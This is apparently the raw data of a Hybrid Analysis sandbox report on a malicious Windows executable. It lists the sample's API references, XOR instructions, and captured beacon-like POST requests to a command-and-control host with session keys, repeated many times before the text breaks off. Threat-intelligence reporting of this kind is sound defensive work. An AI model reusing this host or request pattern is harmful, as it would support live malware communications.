26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T445,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample ba6576e84299… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample ba6576e84299…. Threat score 100/100. 0/28 AV engines flagged this file. 4 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57"],"about":{"@type":"SoftwareApplication","name":"7d87f2eeab483a1fa12d9d111e3d6eef.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":28},"behavioralIndicators":{"malicious":4,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Ta7c,Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")28:T696,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")29:T803,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")2a:T1979,Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1187-000000010001EE78 Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1187-000000010001EE78 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1187-000000010001EE78 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1187-000000010001EE78 Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-940-0000000100013A98 Assembly shows XOR instruction xor eax esp in Stream UID: 13923-940-0000000100013A98 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-940-0000000100013A98 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-940-0000000100013A98 Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1375-000000010001E224 Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1375-000000010001E224 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-997-0000000100015F0B Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-997-0000000100015F0B Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1091-000000010001966F Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1091-000000010001966F Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1091-000000010001966F Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1091-000000010001966F Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1367-0000000100025A20 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1367-0000000100025A20 Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1384-0000000100039A6C Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1384-0000000100039A6C Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1384-0000000100039A6C Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1384-0000000100039A6C Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1087-00000001000190C6 Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1087-00000001000190C6 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1087-00000001000190C6 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1087-00000001000190C6 Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1095-0000000100019876 Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1095-0000000100019876 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1095-0000000100019876 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1095-0000000100019876 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1356-00000001000252F0 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1356-00000001000252F0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1358-00000001000254F4 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1358-00000001000254F4 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1350-000000010002513C Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1350-000000010002513C Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1382-0000000100034F1C Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1382-0000000100034F1C Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1382-0000000100034F1C Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1382-0000000100034F1C Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1100-0000000100019D33 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1100-0000000100019D33 Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1368-0000000100034E7C Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1368-0000000100034E7C Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1368-0000000100034E7C Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1368-0000000100034E7C Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-564-0000000100024FB8 Assembly shows XOR instruction xor eax esp in Stream UID: 13923-564-0000000100024FB8 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-564-0000000100024FB8 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-564-0000000100024FB8 Assembly shows XOR instruction xor al 04h in Stream UID: 13923-846-000000010000AD08 Assembly shows XOR instruction xor byte ptr [rdx] ah in Stream UID: 13923-846-000000010000AD08 Assembly shows XOR instruction xor byte ptr [rsp+rax] bh in Stream UID: 13923-846-000000010000AD08 Assembly shows XOR instruction xor byte ptr [rsi] bh in Stream UID: 13923-846-000000010000AD08 Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1107-000000010001A58B Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1107-000000010001A58B Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1092-000000010001BDEC Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1092-000000010001BDEC Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1092-000000010001BDEC Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1092-000000010001BDEC Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1371-000000010001E470 Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1371-000000010001E470 Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-922-00000001000133D0 Assembly shows XOR instruction xor eax esp in Stream UID: 13923-922-00000001000133D0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-922-00000001000133D0 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-922-00000001000133D0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-999-0000000100015FCB Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-999-0000000100015FCB Assembly shows XOR instruction xor rax rsp in Stream UID: 13923-1096-0000000100019A4F Assembly shows XOR instruction xor eax esp in Stream UID: 13923-1096-0000000100019A4F Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-991-0000000100015597 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-991-0000000100015597 Assembly shows XOR instruction xor rcx rsp in Stream UID: 13923-1168-000000010001E2C1 Assembly shows XOR instruction xor ecx esp in Stream UID: 13923-1168-000000010001E2C12b:T1104c,Contains base64 string in header "Keep" in header "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "6798" in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "2945547785540bbe6dd80fa5ddeae823" in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=6798&key=2945547785540bbe6dd80fa5ddeae823 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "6800" in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "09c69ca9876a2fea44b9b3f677f028b3" in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=6800&key=09c69ca9876a2fea44b9b3f677f028b3 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "6802" in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "9d600d3320e92fb9b0d5cf2b4b137899" in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=6802&key=9d600d3320e92fb9b0d5cf2b4b137899 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "6804" in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "864d8f8c056e0d6480708241e6c474db" in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=6804&key=864d8f8c056e0d6480708241e6c474db HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "6806" in header "POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "0a0310dec21f9289602cd63dddecae9a" in header "POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=6806&key=0a0310dec21f9289602cd63dddecae9a HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: 